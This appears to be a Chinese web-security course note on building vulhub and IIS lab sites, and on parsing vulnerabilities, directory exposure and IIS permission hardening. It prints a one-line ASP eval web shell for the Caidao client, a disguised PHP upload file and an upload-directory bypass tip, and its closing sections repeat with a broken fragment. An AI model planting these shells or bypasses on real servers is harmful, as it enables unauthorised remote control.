当前位置: 首页 > news >正文

03-基础入门-搭建安全拓展

基础入门-搭建安全拓展

    • 1、涉及的知识点
    • 2、常见的问题
    • 3、web权限的设置
    • 4、演示案例-环境搭建
      • (1)PHPinfo
      • (2)wordpress
      • (3)win7虚拟机上使用iis搭建网站
      • (4)Windows Server 2003配置WEB站点
      • (5)域名与ip地址测试:域名 IP 目录解析安全问题
      • (6)常见文件后缀解析对应安全
    • 5、常见安全测试中的安全防护
    • 6、涉及资源
    • 6、涉及资源

1、涉及的知识点

  • 常见搭建平台脚本启用
  • 域名旧目录解析安全问题
  • 常见文件后缀解析对应安全
  • 常见安全测试中的安全防护
  • WEB后门与用户及文件权限

2、常见的问题

#ASP,PHP,ASPx,JSP,PY,JAVAWEB等环境#WEB源码中敏感文件
后台路径,数据库配置文件,备份文件等#ip或域名解析wEB源码目录对应下的存在的安全问题
域名访问,IP访问(结合类似备份文件目录)#脚本后缀对应解析(其他格式可相同-上传安全)
#存在下载或为解析问题#常见防护中的IP验证,域名验证等#后门是否给予执行权限#后门是否给予操作目录或文件权限#后门是否给予其他用户权限#总结下关于可能会存在的安全或防护问题?

3、web权限的设置

   在一般的情况下我们会对某个目录取消执行权限、最典型的就是图片目录这个目录只放图像没有脚本我们会取消执行的权限、这样我们可以防范一部分的文件上传漏洞、即使开发写的代码有问题也不会导致服务器出现安全事故。#绕过方法:如果我们上传的文件如果不能正常的执行那么将文件放在其他目录、例如网站的根目录下面

4、演示案例-环境搭建

(1)PHPinfo

  • 基于中间件的简要识别

一般可以通过抓包的方式分析出是什么类型的服务器和中间件

在这里插入图片描述

可以看见在自己搭建的平台看见使用的apache(windows) php5.4.45

  • 基于中间件的安全漏洞

可以根据在第一步上面收集到的信息、去找Apache的漏洞和PHP的漏洞

  • 基于中间件的靶场使用

https://vulhub.org/#/environments/

这个是用docker搭建的一个靶场非常的方便

环境搭建并测试,参考文档:https://vulhub.org/#/docs/install-docker-one-click/

第一步安装好docker环境并下载文件

[root@hdss7-11 ~]# docker -v
Docker version 20.10.6, build 370c289
[root@hdss7-11 ~]# docker-compose -v
docker-compose version 1.18.0, build 8dd22a9
[root@hdss7-11 ~]# cd /opt/vulhub/
[root@hdss7-11 vulhub]# wget https://github.com/vulhub/vulhub/archive/master.zip

第二步https://vulhub.org/#/environments/查找你想做的环境

在这里插入图片描述

[root@hdss7-11 vulhub]# cd vulhub-master/httpd/apache_parsing_vulnerability/
[root@hdss7-11 apache_parsing_vulnerability]# docker-compose up -d

在这里插入图片描述

创建文件并命名为x.php.jpeg并上传

[root@hdss7-11 ~]# cat x.php.jpeg
<?phpphpinfo();
?>

在这里插入图片描述

在这里插入图片描述

(2)wordpress

在这里插入图片描述

[root@hdss7-11 vulhub-master]# find . -name wordpress
./base/wordpress
./wordpress
[root@hdss7-11 vulhub-master]# cd wordpress/
[root@hdss7-11 wordpress]# cd pwnscriptum/
1.png  docker-compose.yml  exploit.py  README.md  README.zh-cn.md
[root@hdss7-11 pwnscriptum]# docker-compose up -d

(3)win7虚拟机上使用iis搭建网站

1.下载asp源码,数据库类型最好是MYSQL的。

2.解压后将解压文件放在C:\inetpub\wwwroot 路径下。

3.将文件名重命名(比较方便)。

4.打开iis服务器。

5.右键点击 网站 ,再点击 添加网站 。

6.选择物理路径,80端口和81端口已经使用了,选择其他端口。

7.选择应用程序池,右键点击刚才创建的程序池,再点击高级设置。

8.将 启用32位应用程序的 False 改为 Ture。

9.点击要创建的网站,在右边选择 asp。

在这里插入图片描述

10.将 启用父路径 改为 Ture

11.右键网站 --> 管理网站 --> 浏览,便可以打开网站。

在这里插入图片描述
在这里插入图片描述

12.为网站分配域名。

在这里插入图片描述

13.直接访问是访问不到的。

在这里插入图片描述

14.修改本地host文件(由于没有购买域名)—C:\Windows\System32\drivers\etc\host

15.便可以使用域名访问到

(4)Windows Server 2003配置WEB站点

  1. 下载好源码后,进行解压。
    在这里插入图片描述

  2. 打开iis服务器。
    在这里插入图片描述

  3. 右键 “网站”,然后点击“新建”->“网站”。
    在这里插入图片描述
    在这里插入图片描述

  4. 输入网站描述。
    在这里插入图片描述

  5. 网站IP地址是当前主机IP地址,端口号为没有被占用的端口(随便一个都可以)。
    在这里插入图片描述

  6. 选择刚才解压好的源码文件。
    在这里插入图片描述

  7. 设置允许的权限。(看自己的需求)
    在这里插入图片描述

  8. 点击“Web服务扩展”设置扩展权限。
    在这里插入图片描述

  9. 右键刚才设置的网站,选择“属性”。
    在这里插入图片描述

  10. “主目录”->“配置”->“调试”。
    在这里插入图片描述

  11. “主目录”->“配置”->“选项”。
    在这里插入图片描述

  12. 点击“文档”,由于该源码网站的默认首页是“index.asp”,而“启用默认内容文档”里没有该目录,需要手动添加。
    在这里插入图片描述

  13. 添加成功后,将添加的内容上移到第一位。
    在这里插入图片描述

  14. 访问网站。
    在这里插入图片描述

(5)域名与ip地址测试:域名 IP 目录解析安全问题

  1. 网站的目录结构—由于是网上找的源码,直接解压到当前文件夹 。
  2. 在wwwroot目录和baoming目录下分别存放一个1.txt文件。

​ 在wwwroot目录下的1.txt文件的内容为 111

​ 在baoming目录下的1.txt文件的内容为 222

  1. 分别使用域名和ip地址进行访问1.txt文件。

在这里插入图片描述

  1. 直接用ip访问-–为网站(假设为baoming.com这个网站)的上一级目录—此处可以在网站文件新建1.txt,内容为111,然后通过浏览器:ip地址/1.txt访问验证 。

  2. 直接用域名访问-–为网站首页(感觉不是真实的网站实现不了)

    #原理分析:

       用ip地址扫描为网站的上一级文件夹用域名为网站而很多套模板的网站在上一级有源码备份因此,可以通过ip地址获取源码来进行漏洞挖掘 
    

(6)常见文件后缀解析对应安全

  1. 更改应用程序映射

#复制*.asp的文件物理路径

#新建 .xiaodi8的应用程序,物理路径为 .asp的文件物理路径

  1. 在网站源码新建文件

#新建x.diaodi8的文件,内容为菜刀的asp文件的漏洞,密码为x

<%eval request("x")%>
  1. 用菜刀连接

#本机访问utl/x.xiaodi8(这一步我没有成功,浏览器404.0,文件不存在,下面就没有办法操作了)

#复制URL

#放入菜刀中连接—可以查看服务器的文件

将 .xiaodi8 的后缀名  解析成  .asp 的后缀名的文件,可以使用菜刀连接这个 .xiaod8 为后缀名的文件,会把它当成 asp文件执行解析。===>解析漏洞

5、常见安全测试中的安全防护

  1. 身份验证。

    在这里插入图片描述

    前2者配置:web.config
    后4者配置:localhost applicationHost.config <location path="">
    
    	这6项尽管列在一起。但在应用上却不是一个级别的;后4者属于IIS验证,当中匿名验证不须要提交usernamepassword,其它3个须要提供;Form身份验证属于ASP.NET验证,会通过web页面验证。要到达这个验证必须通过IIS验证(由于一个请求进入server后。先到IIS,然后才到Asp.Net应用程序)。即假设要用到Form验证,那么后4者必须启动一个。Asp.net默认执行的账号由进程模式的标识指定(在应用程序池中),例如以下图。但用户能够通过web.config中的identity来模拟其它账户( <identity impersonate="false" password="*****" userName="administrator" />),通过调用System.Security.Principal.WindowsIdentity.GetCurrent().Name可查看此账户
    

在这里插入图片描述

  1. 用户组的安全权限—读写等。

    这里来宾用户的权限是在 身份验证 那里设置的匿名用户去访问网站的。

在这里插入图片描述

可以更改 匿名用户 的权限。

在这里插入图片描述

将匿名用户的权限设置运行“读取和执行”权限,IIS 可以对该权限设置 读取、脚本和可执行文件的执行权限

在这里插入图片描述

选中“读取”可启用需要对虚拟目录具有读取访问权限的处理程序,清除“读取”可禁用需要对虚拟目录具有读取访问权限的处理程序。选中“脚本”可启用需要对虚拟目录具有脚本权限的处理程序,清除“脚本”可禁用需要对虚拟目录具有脚本权限的处理程序。选中“执行”可启用需要对虚拟目录具有执行权限的处理程序,清除“执行”可禁用需要对虚拟目录具有执行权限的处理程序。 只有当“脚本”处于选中状态时,“执行”选项才启用。

#当将功能权限选择为”读取“和”脚本“时,网站访问 x.asp 这个文件。

在这里插入图片描述

#当将功能权限选择为只有”读取“时,网站无法访问 x.asp 这个文件。

在这里插入图片描述

–>一般不会对根目录的”读取和执行“权限进行设置,因为网站的运行需要一些脚本文件的运行,而是对一些特殊目录的”读取和执行“权限进行设置。

  1. Ip地址和域名的访问限制。

在这里插入图片描述

  1. ssl的连接的证书的设置。

6、涉及资源

Web中间件常见漏洞总结_bylfsj的博客-CSDN博客_web中间件

Web中间件 - 常见漏洞总结 - 混子··· - 博客园 (cnblogs.com)

https://www.vulhub.org
ora-picture\image-20230111151005953.png" alt=“image-20230111151005953” style=“zoom:80%;” />

  1. ssl的连接的证书的设置

6、涉及资源

Web中间件常见漏洞总结_bylfsj的博客-CSDN博客_web中间件

Web中间件 - 常见漏洞总结 - 混子··· - 博客园 (cnblogs.com)

https://www.vulhub.org

相关文章:

03-基础入门-搭建安全拓展

基础入门-搭建安全拓展 1、涉及的知识点2、常见的问题3、web权限的设置4、演示案例-环境搭建&#xff08;1&#xff09;PHPinfo&#xff08;2&#xff09;wordpress&#xff08;3&#xff09;win7虚拟机上使用iis搭建网站&#xff08;4&#xff09;Windows Server 2003配置WEB站…...

穿越未来:探索虚拟现实科技的未来前景

虚拟现实&#xff08;Virtual Reality&#xff0c;简称VR&#xff09;科技&#xff0c;正如一颗崭新的明星&#xff0c;迅猛崛起&#xff0c;为人类带来前所未有的体验和想象空间。随着科技的飞速发展&#xff0c;VR 科技的未来充满了无限的可能性&#xff0c;正将我们引向一个…...

SQL- 每日一题【1327. 列出指定时间段内所有的下单产品】

题目 表: Products 表: Orders 写一个解决方案&#xff0c;要求获取在 2020 年 2 月份下单的数量不少于 100 的产品的名字和数目。 返回结果表单的 顺序无要求 。 查询结果的格式如下。 示例 1: 解题思路 1.题目要求我们获取在 2020 年 2 月份下单的数量不少于 100 的产品的…...

[xgb] plot tree

xgboost plot tree debug problem1solutionsreference problem2solutionreference problem3solutionreference supplementary explanationplot_tree参数介绍num_treesmodel.get_booster().best_iteration图中信息介绍缺失值叶子的值 训练的XGB模型里有多少棵树 problem1 用xgb…...

【云原生】Kubernetes 概述

Kubernetes 概述 1.Kubernetes 简介 Kubernetes 是一个可移植的、可扩展的、用于管理容器化工作负载和服务的开源平台&#xff0c;它简化&#xff08;促进&#xff09;了声明式配置和自动化。它有一个庞大的、快速增长的生态系统。Kubernetes 的服务、支持和工具随处可见。 K…...

9.2.2Socket(TCP)

一.过程: 1.建立连接(不是握手),虽然内核中的连接有很多,但是在应用程序中,要一个一个处理. 2. 获取任务:使用ServerSocket.accept()方法,作用是把内核中的连接获取到应用程序中,这个过程类似于生产者消费者模型. 3. 使用缓冲的时候,注意全缓冲和行缓冲. 4.注意关闭文件资源…...

“解锁IDEA的潜力:高级Java Maven项目配置指南”

目录 前言&#xff1a;流程目录&#xff1a;1.确保Java和Maven已安装检查Java是否已正确安装并配置环境变量 2.创建一个新的Maven项目导航到要创建项目的目录配置Maven运行以下命令创建一个新的Maven项目 3.配置项目的pom.xml文件打开项目根目录下的pom.xml文件配置Web.xml 4.配…...

[足式机器人]Part5 机械设计 Ch00/01 绪论+机器结构组成与连接 ——【课程笔记】

本文仅供学习使用 本文参考&#xff1a; 《机械设计》 王德伦 马雅丽课件与日常作业可登录网址 http://edu.bell-lab.com/manage/#/login&#xff0c;选择观摩登录&#xff0c;查看2023机械设计2。 机械设计-Ch00Ch01——绪论机器结构组成与连接 Ch00-绪论0.1 何为机械设计——…...

机器学习:隐马尔可夫模型(HMM)

后续会回来补充代码 1 隐马尔可夫模型 隐马尔可夫模型(Hidden Markov Model,HMM)是可用于标注问题的统计学模型&#xff0c;描述由隐藏的马尔可夫链随机生成观测序列的过程。 1.1 数学定义 隐马尔可夫模型是关于时序的概率模型&#xff0c;描述由一个隐藏的马尔可夫链随机生成…...

使用插件实现pdf,word预览功能

效果 代码&#xff1a; 插件地址&#xff1a; https://github.com/501351981/vue-office <a-modalv-model:visible"visible":title"title"ok"handleOk":bodyStyle"bodyStyle":width"1200":maskClosable"false"…...

yolov5模型构建源码详细解读(yaml、parse_model等内容)

文章目录 前言一、yolov5文件说明二、yolov5调用模型构建位置三、模型yaml文件解析1、 yaml的backbone解读Conv模块参数解读C3模块参数解读 2、yaml的head解读Concat模块参数解读Detect模块参数解读 四、模型构建整体解读五、构建模型parse_model源码解读 前言 本文章记录yolo…...

Monodepth2和Lite-Mono准备数据集

以KITTI为例下载解压后放在/home/lwd/tmp/2011_09_26 cd /home/lwd/tmp/2011_09_26 ls输出 2011_09_26_drive_0001_sync 2011_09_26_drive_0002_sync 2011_09_26_drive_0005_sync python txt.py txt.py import os, sysalos.listdir(.) al.sort() fopen(train.txt, w) for a in…...

ML-fairness-gym入门教学

1、ML-fairness-gym简介 ML-fairness-gym是一个探索机器学习系统长期影响的工具。可以用于评估机器学习系统的公平性和评估静态数据集上针对各种输入的误差度量的差异。开源网站&#xff1a;GitHub - google/ml-fairness-gym 2、安装ML-fairness-gym&#xff08;Windows&…...

结构体指针变量的使用

1、结构体指针的引用 #include<iostream> using namespace std;struct Student {int num;char name[32]; }; int main() {struct Student stu {1,"张三"};struct Student* p &stu;system("pause"); return 0; } 2、通过结构体指针访问结构体…...

解决oracle的em访问提示“使用不受支持的协议。”的bug

1. 设置oracle唯一名称 执行emctl时需要设置一个唯一的名称 否则提示 “Environment variable ORACLE_UNQNAME not defined. Please set ORACLE_UNQNAME to database unique name. ”中文意思为“未定义环境变量ORACLE_UNQNAME。 请将ORACLE_UNQNAME设置为数据库唯一名称/服务…...

编译工具:CMake(三)| 最简单的实例升级

编译工具&#xff1a;CMake&#xff08;三&#xff09;| 最简单的实例升级 前言过程语法解释ADD_SUBDIRECTORY 指令 如何安装目标文件的安装普通文件的安装&#xff1a;非目标文件的可执行程序安装(比如脚本之类)目录的安装 修改 Helloworld 支持安装测试 前言 本篇博客的任务…...

20天学会rust(四)常见系统库的使用

前面已经学习了rust的基础知识&#xff0c;今天我们来学习rust强大的系统库&#xff0c;从此coding事半功倍。 集合 数组&可变长数组 在 Rust 中&#xff0c;有两种主要的数组类型&#xff1a;固定长度数组&#xff08;Fixed-size Arrays&#xff09;和可变长度数组&…...

drawio----输出pdf为图片大小无空白(图片插入论文)

自己在写论文插入图片时为了让论文图片放大不模糊&#xff0c;啥方法都试了&#xff0c;最后摸索出来这个。 自己手动画图的时候导出pdf总会出现自己的图片很小&#xff0c;pdf的白边很大如下如所示&#xff0c;插入论文的时候后虽然放大不会模糊&#xff0c;但是白边很大会显…...

2021年09月 C/C++(二级)真题解析#中国电子学会#全国青少年软件编程等级考试

第1题&#xff1a;字符统计 给定一个由a-z这26个字符组成的字符串&#xff0c;统计其中哪个字符出现的次数最多。 输入 输入包含一行&#xff0c;一个字符串&#xff0c;长度不超过1000。 输出 输出一行&#xff0c;包括出现次数最多的字符和该字符出现的次数&#xff0c;中间以…...

HCIP VRRP技术

一、VRRP概述 VRRP&#xff08;Virtual Router Pedundancy Protocol&#xff09;虚拟路由器冗余协议&#xff0c;既能够实现网关的备份&#xff0c;又能够解决多个网关之间互相冲突的问题&#xff0c;从而提高网络可靠性。 局域网中的用户的终端通常采用配置一个默认网关的形…...

Vue记事本应用实现教程

文章目录 1. 项目介绍2. 开发环境准备3. 设计应用界面4. 创建Vue实例和数据模型5. 实现记事本功能5.1 添加新记事项5.2 删除记事项5.3 清空所有记事 6. 添加样式7. 功能扩展&#xff1a;显示创建时间8. 功能扩展&#xff1a;记事项搜索9. 完整代码10. Vue知识点解析10.1 数据绑…...

《从零掌握MIPI CSI-2: 协议精解与FPGA摄像头开发实战》-- CSI-2 协议详细解析 (一)

CSI-2 协议详细解析 (一&#xff09; 1. CSI-2层定义&#xff08;CSI-2 Layer Definitions&#xff09; 分层结构 &#xff1a;CSI-2协议分为6层&#xff1a; 物理层&#xff08;PHY Layer&#xff09; &#xff1a; 定义电气特性、时钟机制和传输介质&#xff08;导线&#…...

LLM基础1_语言模型如何处理文本

基于GitHub项目&#xff1a;https://github.com/datawhalechina/llms-from-scratch-cn 工具介绍 tiktoken&#xff1a;OpenAI开发的专业"分词器" torch&#xff1a;Facebook开发的强力计算引擎&#xff0c;相当于超级计算器 理解词嵌入&#xff1a;给词语画"…...

NLP学习路线图(二十三):长短期记忆网络(LSTM)

在自然语言处理(NLP)领域,我们时刻面临着处理序列数据的核心挑战。无论是理解句子的结构、分析文本的情感,还是实现语言的翻译,都需要模型能够捕捉词语之间依时序产生的复杂依赖关系。传统的神经网络结构在处理这种序列依赖时显得力不从心,而循环神经网络(RNN) 曾被视为…...

Aspose.PDF 限制绕过方案:Java 字节码技术实战分享(仅供学习)

Aspose.PDF 限制绕过方案&#xff1a;Java 字节码技术实战分享&#xff08;仅供学习&#xff09; 一、Aspose.PDF 简介二、说明&#xff08;⚠️仅供学习与研究使用&#xff09;三、技术流程总览四、准备工作1. 下载 Jar 包2. Maven 项目依赖配置 五、字节码修改实现代码&#…...

JVM 内存结构 详解

内存结构 运行时数据区&#xff1a; Java虚拟机在运行Java程序过程中管理的内存区域。 程序计数器&#xff1a; ​ 线程私有&#xff0c;程序控制流的指示器&#xff0c;分支、循环、跳转、异常处理、线程恢复等基础功能都依赖这个计数器完成。 ​ 每个线程都有一个程序计数…...

打手机检测算法AI智能分析网关V4守护公共/工业/医疗等多场景安全应用

一、方案背景​ 在现代生产与生活场景中&#xff0c;如工厂高危作业区、医院手术室、公共场景等&#xff0c;人员违规打手机的行为潜藏着巨大风险。传统依靠人工巡查的监管方式&#xff0c;存在效率低、覆盖面不足、判断主观性强等问题&#xff0c;难以满足对人员打手机行为精…...

基于PHP的连锁酒店管理系统

有需要请加文章底部Q哦 可远程调试 基于PHP的连锁酒店管理系统 一 介绍 连锁酒店管理系统基于原生PHP开发&#xff0c;数据库mysql&#xff0c;前端bootstrap。系统角色分为用户和管理员。 技术栈 phpmysqlbootstrapphpstudyvscode 二 功能 用户 1 注册/登录/注销 2 个人中…...

如何通过git命令查看项目连接的仓库地址?

要通过 Git 命令查看项目连接的仓库地址&#xff0c;您可以使用以下几种方法&#xff1a; 1. 查看所有远程仓库地址 使用 git remote -v 命令&#xff0c;它会显示项目中配置的所有远程仓库及其对应的 URL&#xff1a; git remote -v输出示例&#xff1a; origin https://…...

LangChain【6】之输出解析器:结构化LLM响应的关键工具

文章目录 一 LangChain输出解析器概述1.1 什么是输出解析器&#xff1f;1.2 主要功能与工作原理1.3 常用解析器类型 二 主要输出解析器类型2.1 Pydantic/Json输出解析器2.2 结构化输出解析器2.3 列表解析器2.4 日期解析器2.5 Json输出解析器2.6 xml输出解析器 三 高级使用技巧3…...